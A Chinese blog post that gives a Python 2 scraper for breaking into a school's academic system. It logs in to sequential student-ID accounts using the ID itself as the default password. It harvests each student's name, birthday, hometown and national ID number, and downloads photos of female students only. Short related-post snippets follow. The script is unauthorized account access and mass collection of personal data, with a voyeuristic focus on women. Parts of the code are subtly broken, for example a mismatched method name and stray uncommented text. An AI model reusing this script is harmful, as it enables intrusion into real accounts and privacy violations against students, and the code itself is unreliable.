使用Python爬取學校學生資訊!(簡單爬蟲)
很久木有來寫博文啦,發現學校的教務系統很多童鞋都木有修改初始密碼,於是博主就想寫試用python寫一個爬蟲小指令碼,將木有修改初始密碼的童鞋資料扒下來,然後嘿嘿嘿~~~通知他們修改!
鑑於寫博文時未通知這些受害童鞋們,因此隱去關鍵資訊。
首先為初始化方法__init__(self)
import urllib import urllib2 import cookielib import re import xlwt from xlrd import open_workbook from xlutils.copy import copy class STUPID: def __init__(self): self.c=0#用於後期記錄在excel中行數 self.loginurl='http://xxx.cn/xxx/xxx.asp'#登陸url self.infurl='http://xxx.cn/xxx/xxx/show.asp' #獲取資訊的url #user-agent用於放在header中,偽裝為瀏覽器 self.user_agent='Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36' self.headers={ 'User-Agent':self.user_agent }#設定頭 #用於儲存cookie cookie = cookielib.CookieJar() #用於輸出send內容,dubug時使用 httpHandler = urllib2.HTTPHandler(debuglevel=1) httpsHandler = urllib2.HTTPSHandler(debuglevel=1) self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie),httpHandler, httpsHandler) urllib2.install_opener(self.opener)
下面介紹login(self,k)
方法
def login1(self,k): user= str(123456789+k)#使用者名稱為學號,為保護隱私,採用該輸入,K位偏移量,這是由於學號採用遞增方式排列 passwd= str(123456789+k)#初始密碼等於使用者名稱 #設定提交給伺服器的資料 postdata= urllib.urlencode({ 'user':user, 'pass':passwd, 'typeid':'2'})#typeid為使用者種類 request=urllib2.Request( url=self.loginurl, data = postdata, headers=self.headers ) result= self.opener.open(request)#登陸並獲取返回內容 return user#返回學號
登陸成功之後,由於cookie已存在並記錄在簽名定義的cookie中,因此可以直接訪問資訊頁面,呼叫方法getInfPage(self)
:
def getInfPage(self):
request=urllib2.Request(
url=self.infurl,
headers=self.headers
)
result= self.opener.open(request)
return result.read().decode('gbk')
讀取的資料為html的文字,因此需要使用正則表示式對需要的內容進行抓取,呼叫方法readInf(self)
def readInf(self):
page= self.getInfPage()#page為html內容
inf=re.findall('<td.*?>([^<tr>].*?)</td>.*?<td.*?>(.*?)</td>',page,re.S)
return inf
按照規則匹配後資料將會存在list中並返回,此時呼叫writeinf(self,Items,user)
方法講資訊寫入excel
def writeinf(self,Items,user):
if Items:#若item不為空,行數+1
self.c = self.c+1
else:
#由於包裡沒有直接修改的方法,因此採用先複製再寫的方法
rb = open_workbook("inf.xls")#開啟inf.xls檔案
wb= copy(rb)#複製內容
s= wb.get_sheet(0)#獲取第一張表
i=0
username =''
x= unicode('女', "utf-8")
for item in Items:
s.write(self.c,0,user)#第一列寫入學號
if i<3 :
if i==0:
username=item[1]#獲取姓名,並寫入第二列
if i== 1 and item[1] == x:#若為女生,獲取其照片
self.saveImg(user,username)#此為儲存圖片方法,在下文介紹
print 'save'
s.write(self.c,i+1,item[1])#第三列寫入性別,第四列寫民族
if i== 13:#
s.write(self.c,6,item[1])#第七列寫入畢業院校
if i== 15:
s.write(self.c,7,item[1])#第八列寫入籍貫
if i== 17:
s.write(self.c,8,item[1])#第九列為身份證號
else:
if i == 4:
s.write(self.c,4,item[0])第五列寫生日
if i == 8:
s.write(self.c,5,item[0])第六列寫政治面貌
i= i+1
wb.save('inf.xls')#儲存xsl檔案
介紹一下儲存圖片的方法saveImg(self,user,username)
:
def saveImg(self,user,username):
imgUrl= 'http://xxx.cn/xxx/xxx/'+user+'.jpg'#圖片url
filename= 'img/'+username+'.jpg'#檔案以名字命名
u= urllib.urlopen(imgUrl)
data= u.read()#讀取圖片
f= open(filename,'wb')
f.write(data)#儲存圖片
f.close #關閉
return True
最後執行即可
supid= STUPID()
k=1
for k in range(1,200) :
user= supid.login(k)#由於學生人數在200以內,因此最高設定為200
supid.writeinf(supid.readInf(),user)
然後就是耐心等待啦,時間有點長,準備再加個多執行緒~~~圖片和資訊我只是儲存著玩噠,並不準備用來做羞羞的事情~大家也不要幹壞事喲!
相關推薦
使用Python爬取學校學生資訊!(簡單爬蟲)
很久木有來寫博文啦,發現學校的教務系統很多童鞋都木有修改初始密碼,於是博主就想寫試用python寫一個爬蟲小指令碼,將木有修改初始密碼的童鞋資料扒下來,然後嘿嘿嘿~~~通知他們修改! 鑑於寫博文時未通知這些受害童鞋們,因此隱去關鍵資訊。 首先為初始化方法__
python爬蟲-使用多程序爬取美圖-人工智慧語言(高效爬蟲)
import os from multiprocessing.pool import Pool from urllib.parse import urlencode from hashlib import md5 import requests def loaDpage(fullurl):
python爬蟲遇到驗證碼的處理方法(以爬取中國執行資訊公開網為例)
朋友們大家好,python爬蟲是在學習python時比較容易上手的學習方式,爬蟲的思路簡要以下幾點: 1.獲取需要爬取頁面的網址,並且對網頁內容進行分析。(主要就原始碼討論,如果我們需要的內容沒有在原始碼出現,則需要進行抓包分析) 2.找到我們需要爬取的內容時我們
python爬取煎蛋妹子圖(老司機養成之路)
chrom all with file windows import apple 妹子 lib 源碼: 1 import urllib.request 2 from bs4 import BeautifulSoup 3 import os 4 import io
Python——爬取人口遷徙數據(以騰訊遷徙為例)
map car img all spa ima tps .sh compile 說明: 1.遷徙量是騰訊修改後的數值,無法確認真實性。 2.代碼運行期間,騰訊遷徙未設置IP屏蔽和瀏覽器檢測,因此下段代碼僅能保證發布近期有效。 3.代碼功能:爬取指定一天的四十個城市左右的遷徙
今天你教高考生一個裝逼神技!利用Python爬取歷年高考成績!
mongo tle one 展示 com .text color rep mon 2.爬取數據 1.獲取各省的分數線信息 獲取各省份的鏈接: # 獲取分數線 def get_score(url): web_data = requests.get(url, hea
python爬取自如房間資訊(二)
主要是針對自如房價的爬取 。以下程式碼對房價圖片進行處理,將裡面的數字提取出來,然後用knn最近鄰演算法去對圖片上的資料進行分類。 import sys import cv2 import numpy as np ####### training part ###########
python爬取自如房間資訊(一)
使用python和selenium+Chrome Headless爬取自如房間資訊,並將結果儲存在MongoDB中。其中最麻煩的應該是每間房的價格,因為自如是用一張圖片和offset來顯示價格,所以不能直接獲得。但我們可以通過將圖片轉為文字,再通過偏移量將數字組合為價格。 在這裡我們使用的是Ch
python爬取淘寶搜尋頁(練習)
1、本博文中程式碼是轉載內容,原文章地址如下: https://segmentfault.com/a/1190000014688216 2、原作者講解的很詳細,我只是在原文程式碼的基礎上稍作修改,添加了一些註釋及無關緊要的程式碼 3、本篇博文涉及知識點如下: ①通過對比頁面構
python爬取學校教務管理系統
寫這個爬蟲的緣由 以前用java寫過一個爬取學校的教務系統的爬蟲 https://blog.csdn.net/ygdxt/article/details/81158321,最近痴迷Python爬蟲,瞭解到許多強大的庫,想再一次用學校的教務系統做下測試。 這一次我首先想到的是新的教
python爬取杭州市幼兒園資訊
一、爬取前準備 1、IDE使用pycharm 2、安裝相關的庫,requests,re,xlsxwritter,beautifulsoup 如圖看到,網頁由頂部的區域,中間的學校列表和底部的分頁等幾個重要的部分組成。檢視網頁原始碼,可以看到上述的三個部分都
一文搞懂如何用Python爬取上市公司資訊
1. 概念準備 Python基本概念 tb.to_csv(r'1.csv', mode='a', encoding='utf_8_sig', header=1, index=0) r意思是強制不轉義字串 TableTableTable型表格
Python 爬取學校課程表和成績
本文僅用於學習交流爬蟲技術,不用於商業,轉載請說明出處! 最近在自學 Python 網路爬蟲,想實際練練手,於是選擇了學校的教務管理系統,獲取課表、成績、排名和績點。 我用的 Python 版本是 3.6,全部使用標準庫,用到的庫如下: urll
python爬蟲爬取百度貼吧(入門練習)
需求說明: 從控制檯輸入指定爬取的貼吧名稱,起始頁面,結束頁面,並在檔案中 建立以 貼吧名稱+“爬取內容” 為名字建立檔案件,裡面的每一個 檔案都是爬取到的每一頁html檔案,檔名稱:貼吧名稱_page.html import urllib.reque
python爬取花瓣妹子資訊
因為花瓣妹子資訊是動態載入的,所以如果用原始方法直接爬取網頁的方法是爬不到的,這裡我們用selenium來自動化處理。 import requests from bs4 import BeautifulSoup from selenium import w
Python爬取磁力鏈資訊
更新說明 2017.4.23 本程式使用MySQL資料庫儲存,使用本程式前請手動修改相關程式開頭處的資料庫連線語句。 需要requests、bs4、pymysql庫支援。 爬取和網站目錄結構有關,網
python爬取貓眼電影資訊
爬取TOP100所有電影的資訊,(電影名, 主演, 上映時間) 爬取該電影的宣傳封面的圖片, 儲存到本地/mnt/img/目錄中; 將獲取的資訊, 儲存到mysql資料庫中(電影名, 主演, 上映時間, 封面圖片的本地路徑) import re #<
python爬取豆瓣電影資訊
''' 用到的主要知識:(詳情見官方文件) 1. requests 2. BeautifulSoup 3. codecs 4. os ''' #-*-coding:utf-8 import requests from bs4 import Beautif
爬蟲:用Python爬取招聘職位資訊&職位需求分析
用Python爬取智聯招聘網站“資料分析”相關崗位資訊 # _*_ coding: utf-8 _*_ from bs4 import BeautifulSoup import requests import csv import json import pa
python 爬取豆瓣書籍資訊
繼爬取 貓眼電影TOP100榜單 之後,再來爬一下豆瓣的書籍資訊(主要是書的資訊,評分及佔比,評論並未爬取)。原創,轉載請聯絡我。 需求:爬取豆瓣某型別標籤下的所有書籍的詳細資訊及評分 語言:python 支援庫: 正則、解析和搜尋:re、requests、bs4、lxml